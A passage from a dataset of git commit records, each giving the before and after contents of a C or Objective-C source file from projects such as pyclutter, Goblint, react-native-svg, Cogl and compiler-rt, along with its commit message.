master","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,Kefir0192\/embox,vrxfile\/embox-trik,abusalimov\/embox,mike2390\/embox,gzoom13\/embox,gzoom13\/embox,vrxfile\/embox-trik,Kakadu\/embox,Kakadu\/embox,Kefir0192\/embox,Kefir0192\/embox,Kakadu\/embox,mike2390\/embox,embox\/embox,mike2390\/embox,vrxfile\/embox-trik,Kakadu\/embox,vrxfile\/embox-trik,embox\/embox,Kefir0192\/embox,mike2390\/embox,gzoom13\/embox,abusalimov\/embox,embox\/embox,gzoom13\/embox,Kakadu\/embox,vrxfile\/embox-trik,embox\/embox,mike2390\/embox,Kefir0192\/embox,Kakadu\/embox,vrxfile\/embox-trik,abusalimov\/embox,Kefir0192\/embox,Kakadu\/embox,mike2390\/embox,abusalimov\/embox,vrxfile\/embox-trik,Kefir0192\/embox,gzoom13\/embox,gzoom13\/embox,gzoom13\/embox,embox\/embox,abusalimov\/embox,abusalimov\/embox,mike2390\/embox"}
{"commit":"03529c297cdf9e273ee8541b7a0021d4fe2f621e","old_file":"list.h","new_file":"list.h","old_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void *);\n\n#endif","subject":"Add List Node creation function declaration","message":"Add List Node creation function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"aa8007fabbf85a51bdd7b2c084d9f77144957801","old_file":"main.c","new_file":"main.c","old_contents":"","new_contents":"\/\/ ** QueryString\n\/\/\n\/\/ This program reads chars from stdin without echo and put to stdout.\n\/\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <termios.h>\n\nint main(int argc, char * args[])\n{\n\tstruct termios old_tio, new_tio;\n\tunsigned char c;\n\n\t\/* get the terminal settings for stdin *\/\n\ttcgetattr(STDIN_FILENO, &old_tio);\n\n\t\/* we want to keep the old setting to restore them a the end *\/\n\tnew_tio = old_tio;\n\n\t\/* disable canonical mode (buffered i\/o) and local echo *\/\n\tnew_tio.c_lflag &= (~ICANON & ~ECHO);\n\n\t\/* set the new settings immediately *\/\n\ttcsetattr(STDIN_FILENO, TCSANOW, &new_tio);\n\n\twhile ((c = getchar()) != '\\n')\n        {\n          putchar(c);\n\t};\n\n\t\/* restore the former settings *\/\n\ttcsetattr(STDIN_FILENO, TCSANOW, &old_tio);\n\n\treturn 0;\n}\n","subject":"Add qstr - query string utility","message":"Add qstr - query string utility","lang":"C","license":"mit","repos":"showcode\/tools"}
{"commit":"01a10a317285f66f5343aa894388f425168c869b","old_file":"clutter-cairo\/cluttercairomodule.c","new_file":"clutter-cairo\/cluttercairomodule.c","old_contents":"#ifdef HAVE_CONFIG_H\n#  include \"config.h\"\n#endif\n#include <Python.h>\n#include <pygobject.h>\n\n#include <pango\/pangocairo.h>\n#include <pycairo.h>\n\nvoid pycluttercairo_register_classes (PyObject *d);\nvoid pycluttercairo_add_constants (PyObject *module, const gchar *strip_prefix);\n\nextern PyMethodDef pycluttercairo_functions[];\nextern PyTypeObject PyClutterCairoContext_Type;\n\nPycairo_CAPI_t *Pycairo_CAPI;\n\nDL_EXPORT(void)\ninitcluttercairo (void)\n{\n    PyObject *m, *d;\n\n    \/* perform any initialisation required by the library here *\/\n\n    m = Py_InitModule (\"cluttercairo\", pycluttercairo_functions);\n    d = PyModule_GetDict (m);\n\n    Pycairo_IMPORT;\n    if (Pycairo_CAPI == NULL)\n        return;\n\n#if 0\n    PyClutterCairoContext_Type.tp_base = &PycairoContext_Type;\n    if (PyType_Ready(&PyClutterCairoContext_Type) < 0) {\n        g_return_if_reached ();\n    }\n#endif\n\n    init_pygobject ();\n\n    pycluttercairo_register_classes (d);\n\n    Py_INCREF (&PyClutterCairoContext_Type);\n    PyModule_AddObject (m, \"CairoContext\",\n                        (PyObject *) &PyClutterCairoContext_Type)\n;\n}\n","new_contents":"#ifdef HAVE_CONFIG_H\n#  include \"config.h\"\n#endif\n#include <Python.h>\n#include <pygobject.h>\n\n#include <pango\/pangocairo.h>\n#include <pycairo.h>\n\nvoid pycluttercairo_register_classes (PyObject *d);\nvoid pycluttercairo_add_constants (PyObject *module, const gchar *strip_prefix);\n\nextern PyMethodDef pycluttercairo_functions[];\n\n#if 0\nextern PyTypeObject PyClutterCairoContext_Type;\n#endif\n\nPycairo_CAPI_t *Pycairo_CAPI;\n\nDL_EXPORT(void)\ninitcluttercairo (void)\n{\n    PyObject *m, *d;\n\n    \/* perform any initialisation required by the library here *\/\n\n    m = Py_InitModule (\"cluttercairo\", pycluttercairo_functions);\n    d = PyModule_GetDict (m);\n\n    Pycairo_IMPORT;\n    if (Pycairo_CAPI == NULL)\n        return;\n\n#if 0\n    PyClutterCairoContext_Type.tp_base = &PycairoContext_Type;\n    if (PyType_Ready(&PyClutterCairoContext_Type) < 0) {\n        g_return_if_reached ();\n    }\n#endif\n\n    init_pygobject ();\n\n    pycluttercairo_register_classes (d);\n\n#if 0\n    Py_INCREF (&PyClutterCairoContext_Type);\n    PyModule_AddObject (m, \"CairoContext\",\n                        (PyObject *) &PyClutterCairoContext_Type)\n;\n#endif\n\n    if (PyErr_Occurred ()) {\n        Py_FatalError (\"unable to initialise cluttercairo module\");\n    }\n}\n","subject":"Comment out the code to subclass CairoContext","message":"Comment out the code to subclass CairoContext\n\nWe don't have any method on the cairo_t returned by ClutterCairo::create()\nat the moment, so we don't need the machinery to register it as our own\nsubclass type. I prefer to leave it in place, so that we can use it later.\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/pyclutter,pmarti\/pyclutter,pmarti\/pyclutter,pmarti\/pyclutter,GNOME\/pyclutter,pmarti\/pyclutter"}
{"commit":"89bffceb162fa954c7d2300a8f8c3b4f513abe9e","old_file":"tests\/regression\/46-apron2\/13-ecape-more.c","new_file":"tests\/regression\/46-apron2\/13-ecape-more.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set solver td3 --set ana.activated \"['base','threadid','threadflag','mallocWrapper','apron','escape']\" --set ana.path_sens[+] threadflag --set ana.base.privatization none --set ana.apron.privatization mutex-meet-tid\n\/\/ Copy of 45 01 for apron\n#include <pthread.h>\n#include <assert.h>\n#include <stdio.h>\n#include <unistd.h>\nint g, h;\n\nvoid *foo(void* p){\n    sleep(2);\n    int* ip = ((int*) p);\n    printf(\"ip is %d\\n\", *ip);\n    *ip = 42;\n    return NULL;\n}\n\nint main(){\n    int x = 0;\n    int *xp = &x;\n    pthread_t thread;\n    int y;\n    g = y;\n    h = y;\n    pthread_create(&thread, NULL, foo, xp);\n    sleep(4); \/\/ to make sure that we actually fail the assert when running.\n    assert(x == 42); \/\/UNKNOWN!\n    assert(x == 0); \/\/UNKNOWN!\n    assert(x <= 50);\n    assert(g==h);\n    pthread_join(thread, NULL);\n    return 0;\n}\n","subject":"Add example that should work","message":"Add example that should work\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"987d3eec5024073a2e72b04d4f1e097e11a95f42","old_file":"dayperiod.h","new_file":"dayperiod.h","old_contents":"\n\/\/ Copyright 2015  Malcolm Inglis <http:\/\/minglis.id.au>\n\/\/\n\/\/ This file is part of Libtime.\n\/\/\n\/\/ Libtime is free software: you can redistribute it and\/or modify it under\n\/\/ the terms of the GNU Affero General Public License as published by the\n\/\/ Free Software Foundation, either version 3 of the License, or (at your\n\/\/ option) any later version.\n\/\/\n\/\/ Libtime is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for\n\/\/ more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with Libtime. If not, see <https:\/\/gnu.org\/licenses\/>.\n\n\n#ifndef LIBTIME_DAYPERIOD_H\n#define LIBTIME_DAYPERIOD_H\n\n\n#include <time.h>\n\n#include <libtypes\/types.h>\n\n#include \"daytime.h\"\n\n\ntypedef struct dayperiod {\n    DayTime start;\n    ulong duration;\n} DayPeriod;\n\n\nDayTime\ndayperiod__end( DayPeriod );\n\n\nbool\ndayperiod__contains( DayPeriod,\n                     DayTime );\n\n\n#endif \/\/ ifndef LIBTIME_DAYPERIOD_H\n\n","new_contents":"\n\/\/ Copyright 2015  Malcolm Inglis <http:\/\/minglis.id.au>\n\/\/\n\/\/ This file is part of Libtime.\n\/\/\n\/\/ Libtime is free software: you can redistribute it and\/or modify it under\n\/\/ the terms of the GNU Affero General Public License as published by the\n\/\/ Free Software Foundation, either version 3 of the License, or (at your\n\/\/ option) any later version.\n\/\/\n\/\/ Libtime is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for\n\/\/ more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with Libtime. If not, see <https:\/\/gnu.org\/licenses\/>.\n\n\n#ifndef LIBTIME_DAYPERIOD_H\n#define LIBTIME_DAYPERIOD_H\n\n\n#include <time.h>\n\n#include <libtypes\/types.h>\n\n#include \"daytime.h\"\n\n\ntypedef struct dayperiod {\n    ulong duration;\n    DayTime start;\n} DayPeriod;\n\n\nDayTime\ndayperiod__end(\n        DayPeriod );\n\n\nbool\ndayperiod__contains(\n        DayPeriod,\n        DayTime );\n\n\n#endif \/\/ ifndef LIBTIME_DAYPERIOD_H\n\n","subject":"Change ordering of fields in DayPeriod","message":"Change ordering of fields in DayPeriod\n","lang":"C","license":"agpl-3.0","repos":"mcinglis\/libtime,mcinglis\/libtime"}
{"commit":"4be46defc30b9f98c4b9df409fdf4b39915fd6f6","old_file":"apple\/RNSVGUIKit.h","new_file":"apple\/RNSVGUIKit.h","old_contents":"\/\/ Most (if not all) of this file could probably go away once react-native-macos's version of RCTUIKit.h makes its way upstream.\n\/\/ https:\/\/github.com\/microsoft\/react-native-macos\/issues\/242\n\n#if !TARGET_OS_OSX\n\n#import <UIKit\/UIKit.h>\n\n#define RNSVGColor UIColor\n#define RNSVGPlatformView UIView\n#define RNSVGTextView UILabel\n#define RNSVGView UIView\n\n#else \/\/ TARGET_OS_OSX [\n\n#import <React\/RCTUIKit.h>\n\n#define RNSVGColor NSColor\n#define RNSVGPlatformView NSView\n#define RNSVGTextView NSTextView\n\n@interface RNSVGView : RCTUIView\n\n@property CGPoint center;\n@property (nonatomic, strong) RNSVGColor *tintColor;\n\n@end\n\n\/\/ TODO: These could probably be a part of react-native-macos\n@interface NSImage (RNSVGMacOSExtensions)\n@property (readonly) CGImageRef CGImage;\n@end\n\n@interface NSValue (RNSVGMacOSExtensions)\n+ (NSValue *)valueWithCGAffineTransform:(CGAffineTransform)transform;\n+ (NSValue *)valueWithCGPoint:(CGPoint)point;\n\n@property (readonly) CGAffineTransform CGAffineTransformValue;\n@property (readonly) CGPoint CGPointValue;\n@end\n\n#endif \/\/ ] TARGET_OS_OSX\n","new_contents":"\/\/ Most (if not all) of this file could probably go away once react-native-macos's version of RCTUIKit.h makes its way upstream.\n\/\/ https:\/\/github.com\/microsoft\/react-native-macos\/issues\/242\n\n#if !TARGET_OS_OSX\n\n#import <UIKit\/UIKit.h>\n\n#define RNSVGColor UIColor\n#define RNSVGPlatformView UIView\n#define RNSVGTextView UILabel\n#define RNSVGView UIView\n\n#else \/\/ TARGET_OS_OSX [\n\n#import <React\/RCTUIKit.h>\n\n#define RNSVGColor NSColor\n#define RNSVGPlatformView NSView\n#define RNSVGTextView NSTextView\n\n@interface RNSVGView : RCTUIView\n\n@property CGPoint center;\n@property (nonatomic, strong) RNSVGColor *tintColor;\n\n@end\n\n\/\/ TODO: These could probably be a part of react-native-macos\n\/\/ See https:\/\/github.com\/microsoft\/react-native-macos\/issues\/658 and https:\/\/github.com\/microsoft\/react-native-macos\/issues\/659\n@interface NSImage (RNSVGMacOSExtensions)\n@property (readonly) CGImageRef CGImage;\n@end\n\n@interface NSValue (RNSVGMacOSExtensions)\n+ (NSValue *)valueWithCGAffineTransform:(CGAffineTransform)transform;\n+ (NSValue *)valueWithCGPoint:(CGPoint)point;\n\n@property (readonly) CGAffineTransform CGAffineTransformValue;\n@property (readonly) CGPoint CGPointValue;\n@end\n\n#endif \/\/ ] TARGET_OS_OSX\n","subject":"Add links to related react-native-macos issues","message":"Add links to related react-native-macos issues\n","lang":"C","license":"mit","repos":"react-native-community\/react-native-svg,react-native-community\/react-native-svg,react-native-community\/react-native-svg,react-native-community\/react-native-svg,react-native-community\/react-native-svg"}
{"commit":"f276f056c0d95ad78343a1f50f08e38cd3b77a3e","old_file":"bluetooth\/bdroid_buildcfg.h","new_file":"bluetooth\/bdroid_buildcfg.h","old_contents":"\/*\n * Copyright 2013 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef _BDROID_BUILDCFG_H\n#define _BDROID_BUILDCFG_H\n\n#define BTM_DEF_LOCAL_NAME   \"hammerhead\"\n#define BTA_DISABLE_DELAY 100 \/* in milliseconds *\/\n\n#endif\n","new_contents":"\/*\n * Copyright 2013 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef _BDROID_BUILDCFG_H\n#define _BDROID_BUILDCFG_H\n\n#define BTA_DISABLE_DELAY 100 \/* in milliseconds *\/\n\n#endif\n","subject":"Remove BTM_DEF_LOCAL_NAME define. product model name is used as default","message":"Remove BTM_DEF_LOCAL_NAME define. product model name is used as default\n\nbug 7441329\n\nChange-Id: I650828b3f6a6bedd87ae9e44b057a3c3353d1250\n","lang":"C","license":"apache-2.0","repos":"maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead"}
{"commit":"3f75051b71f0187e6045ecd2c4e84a6e4424dc04","old_file":"kmsuriendpointstate.h","new_file":"kmsuriendpointstate.h","old_contents":"#ifndef __KMS_URI_END_POINT_STATE_H__\n#define __KMS_URI_END_POINT_STATE_H__\n\nG_BEGIN_DECLS\n\ntypedef enum\n{\n  KMS_URI_END_POINT_STATE_STOP,\n  KMS_URI_END_POINT_STATE_START,\n  KMS_URI_END_POINT_STATE_PLAY\n} KmsUriEndPointState;\n\nG_END_DECLS\n#endif \/* __KMS_URI_END_POINT_STATE__ *\/\n","new_contents":"#ifndef __KMS_URI_END_POINT_STATE_H__\n#define __KMS_URI_END_POINT_STATE_H__\n\nG_BEGIN_DECLS\n\ntypedef enum\n{\n  KMS_URI_END_POINT_STATE_STOP,\n  KMS_URI_END_POINT_STATE_START,\n  KMS_URI_END_POINT_STATE_PAUSE\n} KmsUriEndPointState;\n\nG_END_DECLS\n#endif \/* __KMS_URI_END_POINT_STATE__ *\/\n","subject":"Fix state definition for UriEndPointElement","message":"Fix state definition for UriEndPointElement\n\nChange-Id: I72aff01136f3f13536e409040e42ad1a6dffcd4d\n","lang":"C","license":"apache-2.0","repos":"Kurento\/kms-elements,shelsonjava\/kms-elements,TribeMedia\/kms-elements,Kurento\/kms-elements,shelsonjava\/kms-elements,shelsonjava\/kms-elements,TribeMedia\/kms-elements,TribeMedia\/kms-elements,Kurento\/kms-elements"}
{"commit":"79771029736b935605a13df181f9780bd967ecb2","old_file":"test2\/typedef\/init_and_func.c","new_file":"test2\/typedef\/init_and_func.c","old_contents":"\/\/ RUN: %check -e %s\n\ntypedef int f(void) \/\/ CHECK: error: typedef storage on function\n{\n\treturn 3;\n}\n\ntypedef char c = 3; \/\/ CHECK: error: initialised typedef\n\nmain()\n{\n\tint *p = (__typeof(*p))0; \/\/ CHECK: !\/warn\/\n\n\tfor(int _Alignas(long) x = 0; x; x++); \/\/ CHECK: !\/warn\/\n\n\treturn f(); \/\/ CHECK: !\/warn\/\n}\n","new_contents":"\/\/ RUN: %check -e %s\n\ntypedef int f(void) \/\/ CHECK: error: typedef storage on function\n{\n\treturn 3;\n}\n\ntypedef char c = 3; \/\/ CHECK: error: initialised typedef\n\nmain()\n{\n\tint *p = (__typeof(*p))0; \/\/ can't check here - we think p is used uninit\n\n\tfor(int _Alignas(long) x = 0; x; x++); \/\/ CHECK: !\/warn\/\n\n\treturn f(); \/\/ CHECK: !\/warn\/\n}\n","subject":"Remove extra warning in typedef\/init\/func test","message":"Remove extra warning in typedef\/init\/func test\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"06a3c0baea19e5ff295b34943fcec9609a686952","old_file":"test\/shadowcallstack\/init.c","new_file":"test\/shadowcallstack\/init.c","old_contents":"\/\/ RUN: %clang_scs -D INCLUDE_RUNTIME %s -o %t\n\/\/ RUN: %run %t\n\n\/\/ RUN: %clang_scs %s -o %t\n\/\/ RUN: not --crash %run %t\n\n\/\/ Basic smoke test for the runtime\n\n#include \"libc_support.h\"\n\n#ifdef INCLUDE_RUNTIME\n#include \"minimal_runtime.h\"\n#else\n#define scs_main main\n#endif\n\nint scs_main(void) {\n  scs_fputs_stdout(\"In main.\\n\");\n  return 0;\n}\n","new_contents":"\/\/ RUN: %clang_scs %s -o %t\n\/\/ RUN: %run %t\n\n\/\/ Basic smoke test for the runtime\n\n#include \"libc_support.h\"\n#include \"minimal_runtime.h\"\n\nint scs_main(void) {\n  scs_fputs_stdout(\"In main.\\n\");\n  return 0;\n}\n","subject":"Disable negative test in shadowcallstack.","message":"[scs] Disable negative test in shadowcallstack.\n\nThe test checks that scs does NOT work correctly w\/o runtime support.\nThat's a strange thing to test, and it is also flaky, because things\nmay just work if x18 happens to point to a writable page.\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@335982 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"25d6fa93be985030dd8febba97419e27a01141ae","old_file":"src\/SimpleAmqpClient\/Version.h","new_file":"src\/SimpleAmqpClient\/Version.h","old_contents":"#ifndef SIMPLEAMQPCLIENT_VERSION_H\n#define SIMPLEAMQPCLIENT_VERSION_H\n\/*\n * ***** BEGIN LICENSE BLOCK *****\n * Version: MIT\n *\n * Copyright (c) 2013 Alan Antonuk\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use, copy,\n * modify, merge, publish, distribute, sublicense, and\/or sell copies\n * of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n * ***** END LICENSE BLOCK *****\n *\/\n\n#define SIMPLEAMQPCLIENT_VERSION_MAJOR 2\n#define SIMPLEAMQPCLIENT_VERSION_MINOR 5\n#define SIMPLEAMQPCLIENT_VERSION_PATCH 0\n\n#endif  \/\/ SIMPLEAMQPCLIENT_VERSION_H\n","new_contents":"#ifndef SIMPLEAMQPCLIENT_VERSION_H\n#define SIMPLEAMQPCLIENT_VERSION_H\n\/*\n * ***** BEGIN LICENSE BLOCK *****\n * Version: MIT\n *\n * Copyright (c) 2013 Alan Antonuk\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use, copy,\n * modify, merge, publish, distribute, sublicense, and\/or sell copies\n * of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n * ***** END LICENSE BLOCK *****\n *\/\n\n#define SIMPLEAMQPCLIENT_VERSION_MAJOR 2\n#define SIMPLEAMQPCLIENT_VERSION_MINOR 6\n#define SIMPLEAMQPCLIENT_VERSION_PATCH 0\n\n#endif  \/\/ SIMPLEAMQPCLIENT_VERSION_H\n","subject":"Increment version to v2.6 for development","message":"Increment version to v2.6 for development\n","lang":"C","license":"mit","repos":"alanxz\/SimpleAmqpClient,alanxz\/SimpleAmqpClient"}
{"commit":"f5838918d743fc0c161c279930ac5f373061fdd7","old_file":"CommuteStream\/CSCustomBanner.h","new_file":"CommuteStream\/CSCustomBanner.h","old_contents":"\/\/\n\/\/  CSCustomBanner.h\n\/\/  CommuteStream\n\/\/\n\/\/  Created by David Rogers on 5\/3\/14.\n\/\/  Copyright (c) 2014 CommuteStream. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"GADCustomEventBanner.h\"\n#import \"GADCustomEventBannerDelegate.h\"\n#import \"GADBannerView.h\"\n#import \"GADBannerViewDelegate.h\"\n#import \"CSNetworkEngine.h\"\n\n@interface CSCustomBanner : NSObject <GADCustomEventBanner, GADBannerViewDelegate, UIGestureRecognizerDelegate> {\n    GADBannerView *bannerView_;\n}\n\n@property (nonatomic, strong) CSNetworkEngine *csNetworkEngine;\n-(void)buildWebView:(NSMutableDictionary*)dict;\n+ (NSString *)getIdfa;\n+ (NSString *)getMacSha:(NSString *)deviceAddress;\n@end","new_contents":"#import <Foundation\/Foundation.h>\n#import \"GADCustomEventBanner.h\"\n#import \"GADCustomEventBannerDelegate.h\"\n#import \"GADBannerView.h\"\n#import \"GADBannerViewDelegate.h\"\n#import \"CSNetworkEngine.h\"\n\n@interface CSCustomBanner : NSObject <GADCustomEventBanner, GADBannerViewDelegate, UIGestureRecognizerDelegate> {\n    GADBannerView *bannerView_;\n}\n\n@property (nonatomic, strong) CSNetworkEngine *csNetworkEngine;\n-(void)buildWebView:(NSMutableDictionary*)dict;\n+ (NSString *)getIdfa;\n+ (NSString *)getMacSha:(NSString *)deviceAddress;\n@end","subject":"Remove extraneous header file comment","message":"Remove extraneous header file comment\n","lang":"C","license":"apache-2.0","repos":"CommuteStream\/cs-ios-sdk,CommuteStream\/ios-sdk,CommuteStream\/ios-sdk,CommuteStream\/ios-sdk,CommuteStream\/cs-ios-sdk,CommuteStream\/cs-ios-sdk,CommuteStream\/cs-ios-sdk"}
{"commit":"e6fb1fb433f3c4dfde024695c3b5cf593a3dd9c8","old_file":"tests\/unit\/test-unit-main.c","new_file":"tests\/unit\/test-unit-main.c","old_contents":"#include <config.h>\n\n#include <dlfcn.h>\n\n#include <test-fixtures\/test-unit.h>\n\nint\nmain (int argc, char **argv)\n{\n  const CoglUnitTest *unit_test;\n  int i;\n\n  if (argc != 2)\n    {\n      g_printerr (\"usage %s UNIT_TEST\\n\", argv[0]);\n      exit (1);\n    }\n\n  \/* Just for convenience in case people try passing the wrapper\n   * filenames for the UNIT_TEST argument we normalize '-' characters\n   * to '_' characters... *\/\n  for (i = 0; argv[1][i]; i++)\n    {\n      if (argv[1][i] == '-')\n        argv[1][i] = '_';\n    }\n\n  unit_test = dlsym (RTLD_DEFAULT, argv[1]);\n  if (!unit_test)\n    {\n      g_printerr (\"Unknown test name \\\"%s\\\"\\n\", argv[1]);\n      return 1;\n    }\n\n  test_utils_init (unit_test->requirement_flags,\n                   unit_test->known_failure_flags);\n  unit_test->run ();\n  test_utils_fini ();\n\n  return 0;\n}\n","new_contents":"#include <config.h>\n\n#include <gmodule.h>\n\n#include <test-fixtures\/test-unit.h>\n\nint\nmain (int argc, char **argv)\n{\n  GModule *main_module;\n  const CoglUnitTest *unit_test;\n  int i;\n\n  if (argc != 2)\n    {\n      g_printerr (\"usage %s UNIT_TEST\\n\", argv[0]);\n      exit (1);\n    }\n\n  \/* Just for convenience in case people try passing the wrapper\n   * filenames for the UNIT_TEST argument we normalize '-' characters\n   * to '_' characters... *\/\n  for (i = 0; argv[1][i]; i++)\n    {\n      if (argv[1][i] == '-')\n        argv[1][i] = '_';\n    }\n\n  main_module = g_module_open (NULL, \/* use main module *\/\n                               0 \/* flags *\/);\n\n  if (!g_module_symbol (main_module, argv[1], (void **) &unit_test))\n    {\n      g_printerr (\"Unknown test name \\\"%s\\\"\\n\", argv[1]);\n      return 1;\n    }\n\n  test_utils_init (unit_test->requirement_flags,\n                   unit_test->known_failure_flags);\n  unit_test->run ();\n  test_utils_fini ();\n\n  return 0;\n}\n","subject":"Use GModule instead of libdl to load unit test symbols","message":"Use GModule instead of libdl to load unit test symbols\n\nPreviously the unit tests were using libdl without directly linking to\nit. It looks like this ends up working because one of Cogl's\ndependencies ends up pulling adding -ldl via libtool. However in some\nconfigurations it looks like this wasn't happening.\n\nTo avoid this problem we can just use GModule to resolve the symbols.\ng_module_open is documented to return a handle to the ‘main program’\nwhen NULL is passed as the filename and looking at the code it seems\nthat this ends up using RTLD_DEFAULT so it will have the same effect.\n\nThe in-tree copy of glib already has the code for gmodule so this\nshouldn't cause problems for --disable-glib.\n\nReviewed-by: Robert Bragg <robert@linux.intel.com>\n\n(cherry picked from commit b14ece116ed3e4b18d59b645e77b3449fac51137)\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/cogl,Distrotech\/cogl,Distrotech\/cogl,Distrotech\/cogl"}
{"commit":"d3984f9f03db725dec0afe7d147d71fccb2ac83f","old_file":"src\/python\/helpers\/python_wrap_const_shared_ptr.h","new_file":"src\/python\/helpers\/python_wrap_const_shared_ptr.h","old_contents":"","new_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_PYTHON_PYTHON_WRAP_CONST_SHARED_PTR_H\n#define VISTK_PYTHON_PYTHON_WRAP_CONST_SHARED_PTR_H\n\n#include <boost\/python\/pointee.hpp>\n#include <boost\/shared_ptr.hpp>\n\n\/\/ Retrieved from http:\/\/mail.python.org\/pipermail\/cplusplus-sig\/2006-November\/011329.html\nnamespace boost\n{\n\nnamespace python\n{\n\ntemplate <typename T>\ninline\nT*\nget_pointer(boost::shared_ptr<T const> const& p)\n{\n  return const_cast<T*>(p.get());\n}\n\ntemplate <typename T>\nstruct pointee<boost::shared_ptr<T const> >\n{\n  typedef T type;\n};\n\n}\n\n}\n\n#endif \/\/ VISTK_PYTHON_PYTHON_WRAP_CONST_SHARED_PTR_H\n","subject":"Add support for wrapping a shared_ptr to a const","message":"Add support for wrapping a shared_ptr to a const\n","lang":"C","license":"bsd-3-clause","repos":"mathstuf\/sprokit,linus-sherrill\/sprokit,linus-sherrill\/sprokit,mathstuf\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,Kitware\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,linus-sherrill\/sprokit"}
